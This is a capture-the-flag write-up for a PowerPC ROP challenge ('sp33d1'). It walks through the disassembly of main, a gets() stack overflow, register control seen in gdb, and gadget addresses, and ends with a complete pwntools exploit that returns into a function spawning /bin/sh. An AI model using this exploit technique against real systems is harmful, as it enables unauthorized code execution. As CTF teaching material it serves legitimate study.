0x4200.cafe

Sp33d1

This was a speedpwn challenge. I unfortunately wasn’t able to play the CTF, it only lasted 24h and I was busy the whole saturday, some kind of shabbos you can say.

This is a powerpc ROP challenge. Below is the disassembly of the main function. The vulnerability is that we have a gets that stores a string of any length in a stack variable, giving us a stack buffer overflow.

; > PowerPC ELF32 2's complement, big endian
; RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
; Full RELRO No canary found NX enabled No PIE N/A N/A 2043 Symbols N/A 0 0 sp33d1

stwu r1, -0x20(r1)
mflr r0
stw r0, 0x24(r1)
stw r31, 0x1c(r1)
mr r31, r1
lis r9, 0x100c
lwz r9, 0x1210(r9) ; 0x100c0278
; obj._IO_2_1_stdin_
li r6, 0 ; size_t size
li r5, 2 ; int mode
li r4, 0 ; char *buf
mr r3, r9 ; FILE*stream
bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
lis r9, 0x100c
lwz r9, 0x120c(r9) ; 0x100c0148
; obj._IO_2_1_stdout_
li r6, 0 ; size_t size
li r5, 2 ; int mode
li r4, 0 ; char *buf
mr r3, r9 ; FILE*stream
bl sym.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
li r3, 0x3c
bl sym.alarm
bl sym.banner
lis r9, 0x1007
addi r3, r9, 0x6f70 ; int32_t arg1
crclr cr1eq
bl sym.__printf
addi r9, r31, 8
mr r3, r9 ; char *s
crclr cr1eq
bl sym.gets ; char *gets(char *s)
li r9, 0
mr r3, r9
addi r11, r31, 0x20
lwz r0, 4(r11)
mtlr r0
lwz r31, -4(r11)
mr r1, r11
blr

Note that at the function’s epilogue we have:

  • lwz r0, 4(r11) > load r11[4] to r0
  • mtlr r0 > move r0 to link register
  • blr > branch to link register

In gdb those are the registers right at the function’s epilogue. By sending an input with cyclic(0x100) we can see that we control:

  • R0
  • R1
  • R11
  • R31
  • LR
 R0   0x68616161 ('haaa')
*R1 0x407ff8d0 ◂— 0x67616161 ('gaaa')
R2 0x100cc580 ◂— 0
R3 0
R4 0x100c02bf (_IO_2_1_stdin_+71) ◂— 0xa100c1c
R5 1
R6 0xa
R7 0x100c02c0 (_IO_2_1_stdin_+72) —▸ 0x100c1c08 (_IO_stdfile_0_lock) ◂— 0
R8 0x100c0278 (_IO_2_1_stdin_) ◂— 0xfbad208b
R9 0
R10 1
R11 0x407ff8d0 ◂— 0x67616161 ('gaaa')
R12 0x40000222 ◂— 0
R13 0x100c91f8 ◂— 0
R14 0
R15 0
R16 0
R17 0
R18 0
R19 0
R20 0
R21 0x100c0000 —▸ 0x100c91f8 ◂— 0
R22 0x10000634 (main) ◂— stwu r1, -0x20(r1)
R23 0x100c12c8 (environ) —▸ 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
R24 0x10000138 (_init) ◂— stwu r1, -0x10(r1)
R25 0x100bcdb4 —▸ 0x100c0d14 (_nl_global_locale+16) —▸ 0x100bd8b4 (_nl_C_LC_MONETARY) —▸ 0x100c1268 (_nl_C_name) ◂— 0x43000000 /* 'C' */
R26 0x407ffb4c —▸ 0x407ffd09 ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
R27 0x407ffc2c ◂— 0x16
R28 0x407ffb44 —▸ 0x407ffd00 ◂— './sp33d1'
R29 1
R30 0x100bfff0 (_GLOBAL_OFFSET_TABLE_) ◂— 0
R31 0x66616161 ('faaa')
CR 0x20000222
CTR 0x10014b00 (_IO_file_read) ◂— stwu r1, -0x10(r1)
*SP 0x407ff8d0 ◂— 0x67616161 ('gaaa')
LR 0x68616161 ('haaa')
*PC 0x100006c8 (main+148) ◂— blr

Given that, we control the execution flow and can start ROP’ing.

There a a few things that make our life easier:

  • there’s no PIE.
  • the ELF is statically linked.
  • we have the /bin/sh string at 0x10077a8c
  • we have the win function at 0x100005f8 which calls system

The only thing we need to do is to setup the /bin/sh as the first argument, and then go to win .

I tried using ROPGadget but it didn’t work with the ppc ELF, even though it’s supported, instead of trying to fix it, I just tried with ropper and it worked.

Most gadgets found by the tool look like this:

  • 0x100716e4: add r1, r1, r10; blr;

This is different that I’m used to do when ROP’ing, since x64 the ret instruction can be used to chain our ROP. Below is the full solution:


from pwn import *

context(arch='PowerPC', bits=32, endian='big')

#io = remote('sp33d.play.hfsc.tf', 20020)
#io = gdb.debug('./sp33d1', 'b main')
io = process('./sp33d1')

set_r3 = 0x100712b4 # lwz r3, 0x10(r1); lwz r0, 0x24(r1); lwz r30, 0x18(r1); addi r1, r1, 0x20; mtlr r0; blr;

win = 0x100005f8
bin_sh = 0x10077a8c

io.sendline(flat([
b'a' * 0x1c,
p32(set_r3 + 2),
p32(win + 2),
b'b' * 4,
p32(bin_sh),
b'c' * 0x10,
p32(win),
]))

io.interactive()